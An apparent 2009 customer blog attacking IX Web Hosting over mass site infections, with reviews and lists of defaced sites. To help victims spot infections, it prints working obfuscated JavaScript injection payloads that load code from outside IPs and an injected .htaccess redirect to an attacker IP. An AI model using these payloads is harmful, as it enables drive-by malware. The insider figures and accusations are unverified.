After the upgrade, your website may experience a few errors, all of which can be quickly resolved. Most are caused by having PHP directives inside an .htaccess file.

To fix this problem, simply login to your control panel and click on the WebShell icon. The .htaccess file will not be viewable unless you have “show hidden files” checked in your WebShell settings. Open the .htaccess file and remove any lines that start with “php_”. If you need to retain these settings, then they must now go into a php.ini file and placed into your cgi-bin folder.

If you are running PHP in any of your HTM/HTML files, please add this line to your .htaccess file:
AddHandler php-script .php .php3 .php4 .htm .html .phtml

If you have any questions or concerns about this upgrade, please do not hesitate to contact us 24/7 via live chat, ticket, or phone support and we will be glad to assist.

I hope you will enjoy the new features and increased security!

Best Regards,

Fatima Said, CCO
IX Web Hosting

IX Web Hosting still blames 777 permissions

Hundreds of unhappy IX Web Hosting Customers are contacting me, telling me they are still being blamed for the Yahoo Counter Script Injection and the .htaccess hack.

IX is blaming ” Folder Permissions “  saying 777 should not be used, and in the case that NO FOLDERS are being used, they turn to the ” Ftp Virus”   BOTH of these are complete rubbish and LIES, and if you corner an IX Web Host manager with some facts and a bit of knowledge they will admit that it IS an issue on the ” IX Servers”

I have been PERSONALLY told by THREE MANAGERS.. Kenny, Drew and Lauren that IX is aware that they have security issues, and each time they assure me that the problem will be fixed soon, that was 9 months ago!!
The problem has not been solved, and is nowhere near being solved, actually it is getting worse.
Almost 10 months ago the problem was the iFrame Yahoo Counter was injected into every file, today the problems are numerous 3 different  injections and a .htaccess hack!! on both the php4 and php5 platform.

So, why is IX Web Hosting admitting they have issues to certain people, and LIEING to others? The reason to this is because the Support Monkeys have been told to NEVER admit that IX has issues, if the monkeys admitted to every customer that it was due to IX’s security issues that more than 120.000 sites were being infected on a weekly basis, all hell would break loose and somewhere along the line someone would sue.
So, as of yet for as far as I know it is only certain managers that are admitting to certain people, that IX is to blame.   

IX Web Hosting blames 777 folder Permission!!!… Do me a favor!!, it’s 2009, HUNDREDS OF MILLIONS of people are using Open Source CMS (content management system ) such as WordPress, Joomla, Drupal etc..etc..
Many of these scripts will not work without 777 permission ( images, templates etc)

If in 2009 IX Web Hosting cannot host a CMS site  without it getting injected or defaced, then they are NOT FIT to host websites and should pack their bags and leave town … for good!!

Why is it, that IX has a page on their website that explains in detail how to install and use WordPress and Joomla, but they still blame customers for using these CMS scripts.

Next time you speak to an IX  Support  Monkey ask them how the following  is possible

1. 5 html sites ( 100% html) not running any scripts or folders get injected?
2. How is it possible to MASS overwrite 644 files (.htaccess)
3. How is it possible to MASS add .htaccess files
4. Why is it, that if I did have an Ftp Virus, they only inject 2 buisness accounts, when they would have access to all 4?.. Why dont they inject all 4?
5. Why is it only IX Web Hosting and Host Excellence ( owned by ix web hosting) are having these problems? if it was a 777 folder permission issue 100’s of Millions would be affected, and EVERY webhost in the  world would have the same problems.
6. ANY Server Side injection of 1000’s of sites is surely the responsibility of IX, and NOT a Folder Permission issue.. I have access to all my folders, but there is no way that I can access someone elses site.
   It’s clear that this issue is server root related.

One more thing, a 777 folder used by the likes of WordPress or Joomla ARE SAFE!!..  Does IX Web Hosting really believe that they can carry on blaming customers? MORE THAN  ONE THIRD of ALL IX Web Hosting sites are infected!!… More than 120.000 sites infected !!

IX Web Hosting making money from their INSECURE SERVERS

For going on 10 months now ix web hosting’s servers have been under attack, both the older php4 and the new php5 are full of security issues, and have been seeded and are constantly injected with various scripts and / or the .htaccess file gets renamed and customer sites are re-directed.

MORE than 120.000 IX hosted sites are injected / .htaccess hacked on a weekly basis, an excellent oppertunity for the scum IX to make a quick buck!!

IX Web Hosting will clear up the mess that is caused by their extreme Incompetence and INSECURE SERVERS for just $80 AN HOUR!!

A few days ago I was contacted by an IX customer that hosted 5 html sites ( not a single script)  all 5 websites were injected with the Yahoo Counter Script, this was the 3rd time in one month that this had happened, each time she just  re-uploaded all her sites, but still her sites got injected. The 4th time she approached IX to help her get her sites back in order. IX charged her $160 ( 2 hours) to get her sites back to normal. 6 DAYS later all her sites were injected, but luckily the bastards at IX were willing to help her again for another $80 an hour.

Is YOUR site INFECTED by the Yahoo Counter or .htaccess

A lot of people are contacting me, asking HOW you would know if your  site is infected?.
Let me start by saying that in some cases you will know immidiately when somthing is wrong, but in other cases it might not be too clear.

The YAHOO COUNTER SCRIPT

Click Image to Enlarge

is an iFrame Javascript injection that injects code into the Footer, Body, or Header, or all three at once.
Thousands of IX web Hosting customers are infected with this code, and they do not even know it! The web Page looks normal, but this can be very dangerous, your website will eventually drop from ALL the mayor search engines, and your domain will be flagged as “Dangerous Malware” by all the search engines.
To check if you have the Yahoo Counter injected, visit any search engine, and visit your site, If your site loads as it should, BUT  it still shows “Loading” in the taskbar for some time, and then in most cases ( but not always) an ” Acrobat Reader” Error message will pop up.

Now you must Check the “Source Code” ( Menu Bar –> View –> Source ) and you will notice the Code that has been injected.

 

The .htaccess Injection

This is a very sneaky Injection, the reason being, is because most people that have and check their websites, access them by either a shortcut, or directly through the search bar by using the url, In both these cases, your website will be perfectly normal, BUT, anyone trying to access your website  through any of the mayor Search Engines, will be re-directed.

Click Images to Enlarge

Once that is done, a FAKE ANTI VIRUS will pop up, and start scanning your PC, it will then alert you that you have dangerous files on your PC, and if they should be removed, if you click YES, you are screwed!!, a Trojan with KeyLogger will be executed on your PC, and you are INFECTED!!…

Anyone who has the FAKE ANTI VIRUS pop up, should just click off the site NEVER click “Yes” or “No”.. just click OFF the page , if your PC freezes, use “Ctrl-Alt-Delete” and Stop the process… then out of precaution you can “Delete” your cached internet files.

An example of the injected .htaccess file.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* h**p://87.248.180.89/topic.html?s=s [R,L] ( link altered by ME )
 

Remember, you only get re-directed if you click on your url from a search engine

IX Web Hostings Servers using both Php4 and Php5 INFECTED

As I wrote yesterday, MORE THAN ONE THIRD OF ALL IX Web Hosting’s hosted sites are INFECTED.
And to make things worse, the problem is spreading.
Up until Jan. 3rd 2009 it was only the older servers still running Php4 that were being affected, but now even the NEW server blocks, running Php5 are being injected.
IX Customers with sites on the server block with mysql address mysql501.ixwebhosting.com that runs php5. are being injected.

This is bad enough, and the fact that after 9 MONTHS!!! IX Web Hosting has still NOT GOT A CLUE how this is being done is a complete DISGRACE!!
And to add salt to the wounds, IX is not just being attacked with one form of iFrame injection, NO, IX is being attacked THREE different ways.
1) The notorious ” YAHOO COUNTER” is being injected into the FOOTER of every file.
2) The .htacces File that is overwriting and / or adding an . htaccess file into the root of every site and re-directing sites
3) As of Jan. 3rd 2009, a SECOND but modified version of the ” YAHOO COUNTER ” iFrame injection is now being injected into BOTH the Header, AND / OR Body of every file.

Today an IX Web Hosting customer sent me a link to their site, that was injected with THREE Yahoo Counters, Header, Body and Footer.
The owner of the site told me that the site would take ages to load, and would often even timeout, and Google had dropped the site completely from the Search Engine, penalized because of the “Malware Script”

Here is a quote from IX Support’s Alex Karamushko :

We have currently problem with Yahoo counter hack, but our system administrators and security analysts working hard for finding exact reason of that problem and we can assure you that this will be fixed shortly.

After 9 months, I ask myself what ” shortly” actually means?!.. Another week?, month?, or maybe 3 months?.. because I was told by “AGENT IX” that at the rate things are going now, by May 2009 EVERY website hosted at IX will be infected by these injections.

IX Web Hosted sites Hacked & Defaced Jan 9th 2009

http://efamili.com/

http://dabasan.com/beads/archive.php

http://www.capetowntips.com/

http://icaav.com/phpBB2/

http://buildingwithtyres.com/

http://www.mortgageservices.com.au/

http://terrybeitel.com/

http://ebookdirectory.net/

http://www.strangeauction.com/

http://annualkellyfamilyreunion.com/forum/

http://www.scotlandsguesthouses.com/

http://www.themerchfoundry.co.uk/helpcenterlive/

http://mediaportalen.net/

More than ONE THIRD of ALL IX Web Hosting sites INFECTED

A lot of the information I post here, I get from a person that works for IX Web Hosting and / or Ecommerce, as you all understand I cannot give any details that could compromise  his / her position. I will call this person “AGENT IX”

Today I recieved an Email from “AGENT IX”  that states that more than 100,000 IX Web Hosting Sites are infected.

The Details are, that IX Web Hosting is hosting 285,223 websites ( source http://whois.domaintools.com/ixwebhosting.com 

More than 100,000 sites are infected, which means that more than  1/3   of all IX Web Hosting sites are infected!!
and IX has still not got a clue how to stop these attacks.

Also the injected script(s) are changing ( see previous posts) which most likely means that this  vulnerability is now being exploited by various people / groups, and this also means that this problem is going to get a lot worse before it gets better, this problem has now been effecting sites since last year May ( 2008 ) almost 9 MONTHS LATER  the problem is worse than it has ever been, and there is no bright light at the end of the tunnel yet.

A NEW wave of iFrame Injections for IX Web Hosts Customers

It has come to my attention that a NEW wave of iFrame injections has infected 1000’s of new IX Web Host Customers, unlike the previous injection, that injected javascript into the footer of every file, this new piece of code is being injected into the “Header” of every file..

The new code looks like this:

<script language=JavaScript>function tobnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,62,45,0,25,55,44,41,2,31,0,0,0,0,0,0,3,38,33,21,20,16,19,10,42,35,13,32,24,17,4,40,46,56,53,
15,60,5,50, 47,57,48,51,0,0,0,0,26,0,49,6,29,7,12,54,34,23,28,58,11,14,36,43,27,8,59,52,39,37,30,61,1,18,22,9);for(s=Math.ceil(c/m);s>0;s–){h=”;for(i=Math.min(c,m);i>0;i–,c–){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(224^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}tobnb25(’hAOIN1QtlSztwx4tFfvam1OIUuTfN1QKCfLBlx7ZhG4gDypVdZcgbG4KJypYlbLIUfcf4FLrE@TmxlL
58IptD87fS0TRF84BUxOZzjOBS1etS0vak5_KD gOZx1LtlxpV2bptpj6mwjpBSfpVzneRCkJRLsTVdscfNbJrdWTa8@TtzxptpfJRDIJYpyLgdgptcdJrM
@TmDAzIUf2YNAQmEVLK4H2ISjLB8qJ5SsOBxbLIUjvaz@’)</script><!– yourdomain.com –>

 

Manager Kenny at IX Web Hosting  informed a customer today ( Mon 5th Jan.) that  they were testing right now and should be completed in a week or two…

ONE OR TWO WEEKS!!!.. Hey we have been waiting for 8 MONTHS!!!!  You would think that by the advice is giving all their paying customers, and blaming them for everything,  and then offering to fix the problem for $80 AN HOUR!!.. that they would know how to fix this problem, but is is clear they do not, and instead of putting more time and effort into solving this, what does IX do??… TRY AND MAKE MONEY FROM THE PROBLEM!!!… Thats correct, IX Web Hosting is offering to fix / clean customer sites for $80 an hour!!…  This is an absolute disgrace!!

To me it is clear that a large group of people know the vulnerability at IX servers, and various people are now injecting their own script, thats why we are starting to see various different scripts appearing.

IX Web Hosted Sites Hacked and Defaced Jan. 2nd 2009

 

1. http://forums.spartiate-peers.com/
2. http://www.washrag.org/phpBB2/index.php
3. http://www.pococks.net 
4. http://imprecator.net/ 
5. http://imprecator.net/
6. http://www.capetowntips.com/
7. http://countrydataservices.com/ 
8. http://releasespy.com/forum/viewforum.php?f=13
9. http://nickersonpianostudio.com/ 
10. http://strangeauction.com/
11. http://temp.simplyenticing.com/
12. http://vavize.com/
13. http://utilizesports.com/
14. http://www.commandoes.us/
15. http://www.neostudios.co.uk/lucypinder/
16. http://tommygallagherband.com/index.php?option=com_gigcal&Itemid=30
17. http://thatsmydiary.info/
18. http://greenlaser.cn/
19. http://www.elfankosh.com/admin.php
20. http://ircai.com/

IX web hosted sites Hacked and Defaced December 29th

1. http://abcnepal.com/phpBB2/ 
2. http://forums.adeptpcs.com/
3. http://www.defaceadd.org/tamekran-767.xml
4. http://mallusworld.com/
5. http://sw.rzep.net/
6. http://myxxonline.com/phpBB2/
7. http://happyzoo.com/phpBB2/admin/
8. http://yojils.com/forums/
9. http://dj-booth.co.uk/forum/
10. http://firstbaptist-nyc.org/phpBB2/
11. http://webaccess.ingenious.cc/phpBB2/
12. http://infrastructurematters.org/phpBB2/
13. http://everythingretek.com/phpBB2/viewtopic.php?p=1464
14. http://plus.rawfishrecords.com/phpBB2/
15. http://quellederjugend.arhaco.com/phpBB2/
16. http://mediawirx.net/phpBB2/
17. http://www.zavallis.com/
18. http://www.nassel.com/news/
19. http://www.joshstern.net/phpBB2/viewtopic.php?p=13422..13422
20. http://northharrowsnooker.co.uk/

IX Web Hosting and the Yahoo Counter Script Injection

I started this blog just 2 weeks ago, and today I recieved my 1000 th  Email asking me about the code that is injected into the footer of every file hosted on seeded IX Web Hosting Servers.

Hundreds of  IX customers, are contacting me to ask about the Injected script ( posted in a previous post) they are asking me HOW to remove it, because they cannot find it…

The Reason they cannot find it??

Because of a MASSIVE SECURITY ISSUE on IX WEB HOSTING’s SERVERS!!.. the script is NOT actually put onto any of your pages, the script is actually hidded somewhere on the server..

So far I have found 5 “seeds” .. These are the codes that are appearing  in  over 100,000 sites

• http://on3photo.com/onlinestore/photos/106-firefighter_foto/1147-gustav_deployment/di_img_0002.jpg 
• http://adventuresinstorytelling.com/modlogan/m_usage_200603_001_008.html

Remember to view the “source code” in the above links.

Very interesting is the second “seed” that is actually in an IX standard “modlogan” folder, that is standard a chmod 700 .

Secondly it should not be possible on any shared server to inject this script onto EVERY file on that server. The fact that this is happening means that IX web Hosting has not got a clue how to protect their servers, and customer web sites. 

So as you can see, this script IS  NOT actually put into your script, that is why you cannot find it.. HOWEVER, somewhere on your site, there is a bit of code  ”Calling” this script, and that appears in your pages.
Check  ALL the pages that get called for every page, ie. header, footer, index, sidebar etc. 

So far I have evidence and proven that the following IX servers running the following Database’s  are seeded:

• mysql33.ixwebhosting.com
• mysql15.ixwebhosting.com
• mysql27.ixwebhosting.com

If you know of any others that are seeded, please let me know.

Hope this helps

:: Some people have contacted me to tell me that the Injected Script is ( also ) injected into the database, and in some cases a new table is created.
I have checked 9 databases of infected sites, and I have not yet come across the script in my Database’s, so I think that this might be “script” related, maybe that some scripts such as PhpBB2 allows for this to happen, so I recommend searching your Database for the script as well ::

IX and Hacked and Defaced Dec 24 2008

A  short list of sites hosted by IX Web Hosting.. all Hacked and Defaced

http://sw.rzep.net/

http://ebookdirectory.net/

http://www.strangeauction.com/wp-login.php 

http://annualkellyfamilyreunion.com/forum/

http://techworxs.com/forum/

http://sisterwords.com/phpBB2/

http://cr30beachbungalow.mmisiolek.com/phpBB2/

 

http://hitecpowercontrols.com/x.html

http://clearfork.com/phpBB2/

http://jacksonvilleyardsalesonline.com/signinform.php?msg=%3Ch1%3EHacked%20By%20BeLa%3C/h1%3E

http://hucad.com/

http://marybackstage.com/

http://abacusdiesel.com/phpBB2/

http://www.cardstuff.info/details.php?id=16&kategorie=9&main_kat=4&start=0&nr=

http://dexterb.com/

http://mediaportalen.net/index.php?n=modules/users&s=4&t=DESC&p=1&l=results_poll&68cac=off

http://forgottenstory.com/phpBB2/

 http://www.mobileintegration.no/

 http://krabbeteiner.com/shop/admin/

http://fischertechnologies.com/calendar/ 

http://www.scotlandsguesthouses.com/

http://infotop100.com/

http://www.coralenriquegranados.org/phpBB2/index.php

IX Web Hosting Injected TODAY

Dec. 19. 2008

I can confirm that IX web hosting’s server running database ”mysql27.ixwebhosting.com” the site injected were on “ns5.ixwebhosting.com” , “ns6.ixwebhosting.com” has yet again been injected, this within a week after IX web hosting sent an email where it stated that all their servers were clean .. and I quote from the email sent by Fatima Said, CCO IX Web Hosting

“”  We have dedicated our systems administration team to finding a solution to this and are happy to say that as one of the first hosting companies we have successfully cleaned all instances of this virus from our servers more than a week ago, and are continually scanning them to ensure your site does not become re-infected. “”

This just goes to show that IX web hosting has not got a clue where to start looking and what to clean.

 

The injected code appears on every file:

<script language=javascript><!– Yahoo! Counter starts
if(typeof(yahoo_counter)!=typeof(1))eval(unescape(‘%2F@/%3C~%64%69&v%20`s!t~%79l#e=%64%69%73p%6C%61~y~%3A%6Eo%6E%65%3E!\nd%6F$%63%75%6D%65%6E#%74%2E!w`r$%69$%74%65%28%22%3C%2F%74!%65~%78t%61!%72@%65&a&%3E@%22|)~%3B|v`a%72%20#%69,%5F`,a%3D![“!7$%38&%2E110~.1%37@%35`.!%321$%22%2C%22!%319~5~.24%2E|%37$%36#%2E%32%35%31%22%5D`%3B~_=~1!%3Bi|f(|do!c%75%6D%65nt@%2E~c#%6F%6F&%6B%69~%65%2E%6D&a~tc%68!(&%2F%5C#bh&%67&%66t@=1%2F)%3D$%3D$%6E|%75l&%6C`%29f#o%72(%69|=%30&%3B|i~%3C@%32!%3B%69+~%2B~%29d|ocu%6Dent%2E&%77~%72%69%74%65(“~%3C`s`c`r%69&p%74`%3E%69f|%28%5F@%29do%63%75m$%65`%6E%74`%2E%77~rit$%65|%28%5C|”#%3C#s&c&r@ip%74$%20%69@%64%3D!_~”+i+`%22_%20|%73%72%63!%3D%2F/#%22|+a#%5Bi|%5D%2B#%22/~%63!p%2F?`”%2B!n`%61#v&%69ga%74%6F!%72%2Ea%70%70`%4E%61%6De`%2Ec!%68$%61%72`A|t&(@0`%29#%2B%22#%3E%3C%5C%5C@/`%73%63@%72&i|p`t@%3E%5C|”~)`%3C#%5C&/!s~c$%72~%69$%70&t!%3E”)#;#\n%2F&%2F$%3C#%2F&d%69%76!%3E’).replace(/@|\!|#|\&|`|~|\||\$/g,”"));var yahoo_counter=1;
<!– counter end –></script>

IX Web Hosting’s Promise to you.

Remeber this? In big letters on their Home Page, “Our Promise to you“  well, the ship started sinking in April, and the rats started fleeing, and  “Their Promise to us” disappeared like a fart in the wind.. Or so they had hoped.

Let me take you back in time, to refresh your memory, read and have a laugh at the promises that were made, hey, even sit back and listen  to the CEO Fathi Said tell us how important we are.. as he well puts it, “Without you, IX  web hosting would not exist“  Ooohhh and while you are enjoying the blast to the past, why not send him a personal message..

ENJOY : http://web.archive.org/web/20080101195251/www.ixwebhosting.com/index.php/v2/pages.ourPromiseToYou 

Dear Friend,It’s my personal wish to address you with this letter. It is very important for me to get in touch with my customers, for a simple reason:

Without you, we would not be in business.

IX Web Hosting Reviews July 2008

 

Patrick, 28th 2008f July, 2008

ixwebhosting.com is basically bottom of the barrel hosting. I can’t imagine anything worse. Their server went down again Saturday and now my entire wiki website no longer works because of a corrupted database. Do not use this host because you WILL have problems. Lots of them.

Pascal, 28th 2008f July, 2008

I have to admit, IXwebhosting is not that good. My site has been down 4 times in the past year. sometimes it takes 12-24 hours to get things back up and running. The email servers have been slow lately. Right now, my FTP service does not work; I can’t login either. I’ve started looking for another host because reliability is my main concern.

Alex Ho, 28th 2008f July, 2008

Ok, GUYS, I’m so pissed with this ixwebhosting sh*t. 2 weeks ago their MySQL server was down and they didn’t save a back up for me even they could be able to back up some other databases which made me so pissed coz I have a forum of 12,000 members for 5 years. (Fortunately I got my own back up, but it’s 6 months old!) Yes, I called them, chatted live, emailed, ticketed, all sh*t, but all I got was “we are wrking on it”. Funny, huh? They have cheap plans, I agree, the reason I chose them cause they had cheap plans, and I tested their website speed with a tool, and their site speed was light speed. However, after using their hosting for 2 years, now their hosting service turned out too bad now. My sites have been on and off, regardless the daytime or nighttime. Just imagine you staying home on Saturday night and Sunday night coding your site instead of going out watch movies with your cute girlfriend, and suddenly the site&host&ftp… everything shut down at 1am when you are so stuck with the code, that’s b*** sh*t huh? GUYS, PLEASE THINK OVER BEFORE BUYING THIS HOSTING SERVICE: IXWEBHOSTING.COM <= Cheap doesn’t mean good! I’m on my way finding another hosting, hix Anyway, read over this comment box to see how BAD this hosting service is! I saw about 95% NEGATIVE FEEDBACK!

cashzzz@hotmail.com, 27th 2008f July, 2008

The server is down right now receiving the following error: HTTP/1.1 500 Server Error. The reply from the tech support said they cannot help and we need to send a ticket to the center. All sites are down. It’s time to move servers.

kads, 22nd 2008f July, 2008

i am moving webhost. my site is down at the moment, their support doesnt even speak english, my emails dont work. their site doesn’t work. + when my site does load, it loads at 2 miles per century. im moving to 5quidhost.co.uk which has awesome reviews.

cashzzz@hotmail.com, 20th 2008f July, 2008

I think we have to throw in the towel soon. We have given ixwebhosting a serious try and in the past 2 months, the web server has been down more than 8-10 times. The email server also had problems as well and does not send out emails. We have also contacted the tech support online, which is good they have this feature, but they never know how to fix the problem. They will ask you to send an email. But they wont fix it until hours up to 5 days. We are looking for better hosting and would like your suggestions. Ixwebhosting is not good enough at this point. Server has too many problems and downtime is serious.

elawcase@gmail.com, 20th 2008f July, 2008

Ixwebhosting.com server ns13, and ns14 is currently down. We have contacted ixwebhosting support and they do not how to fix the problem. The server has been down for 3 days intermittently. The server is down now.

Steve, 19th 2008f July, 2008

The uptime is brilliant. My site has only been down twice for about 5 minutes. But I do not recommend this host. The MySQL server I am on has a lot of problems. Some guy I know keylogged me and got into my forums and deleted everything. The backups I uploaded wouldn’t work, so I made a support ticket. It took them TWO WEEKS to reply. They said they had a backup from the day before it was hacked. I asked them to restore it. A week later they replied again and said they didn’t have the backup. So, I had to completely start my forum over again. Next month I will be moving host, and I asked them to email me a backup of my website. I have been waiting 3 days so far and still no reply from them. THE SUPPORT SUCKS. Do not host with these guys. It is a waste of money and a waste of time. Plus they have really bad servers.

abimbola, 15th 2008f July, 2008

In the name of almighty God, do not host with ixwebhosting!You will have the greatest regrets in your life. All the websites I have been developing for years disappeared and ixwebhosting said that was due to massive hard storage failure and that the data are irrecoverable.Please,Please,Please do not host with this company as it is not a company but a form of internet dupe!

good by_ix, 12th 2008f July, 2008

ix webhosting service # Stop service ticketing technical support. # Stop service database. # Problems are endless. # Company on the precipice, waiting to fall down. # I advise you: Make your files and transferred into the computer.

kads, 09th 2008f July, 2008

have opened a ticket for 2 days on ix, and it hasnt been responded to. live chat is also unhelpful. my emails are down and i can’t access them. this is the first problem i’ve had.

cashzzz, 03rd 2008f July, 2008

Okay, it has been now 4-5 days that the email server does not work with ixwebhosting. They keep saying please wait 24 hours and the issue will be resolved. But so far their email webserver is not working or sending emails out. I think I may need to throw in the towel soon. Ixwebhosting does not know how to run their web servers or maintain it. If they do not fix the email server 2 more days, I have to urgently move my server.. anyone with good suggestions of a company who is reliable, know how to maintain the server, doesn’t overload the servers, has multi domain hosting for ASP classic pages, and uses HSphere, please let me know. Thank you. cashzzz@hotmail.com

cashzzz, 02nd 2008f July, 2008

I’m quite frustrated because the email server at ixwebhosting is not working properly . Not sending out emails at all. This is the second day and the issue is not resolved yet. Really frustrating. If anyone has suggestions of other hosting that uses hsphere control panel and unlimited domain hosting, pls let me know. cashzzz@hotmail.com

Links discussing IX Web hosting Service

Here is a list of sites that other people are posting about IX web hosting

• IX web hosting, The worst host ever 
• CNET IX web hosting 
• Worst Ever Host 1
• Worst Ever Host 2 Terrible Customer Service 
• Good Ridence IX Web Hosting
• My Website got Hacked 
• How bad is IX web hosting? 

Links will be posted on the fly..

IX Web Hosting Hacked

IX Web Hosting has been  continuously hacked since April of 2008. Thousands of innocent paying customers are furious because of the way IX web hosting has handled the situation.
It has been a well known fact that hackers have seeded and are using IX web hostings servers to inject various scripts into every file on the vunerable server, infecting 1000’s of sites.

I myself had 7 personal  business accounts ( about 60 sites) with IX webhosting, I had them for 4 years, the first 3 years was plain sailing, I was happy with the service provided, and apart from the everyday minor hiccups, things went as they should have.
The trouble started this year 2008 when IX moved all their servers to a new location.

The sheer hosting hell that followed will be posted in the coming days / weeks / months / years

I will be posting links to other topics, printscreen images of support tickets, Emails between myself and IX web hosting, and links for innocent duped customers to file complaints against ixwebhosting.  

Please leave genuine feedback about your experience  with IX web hosting.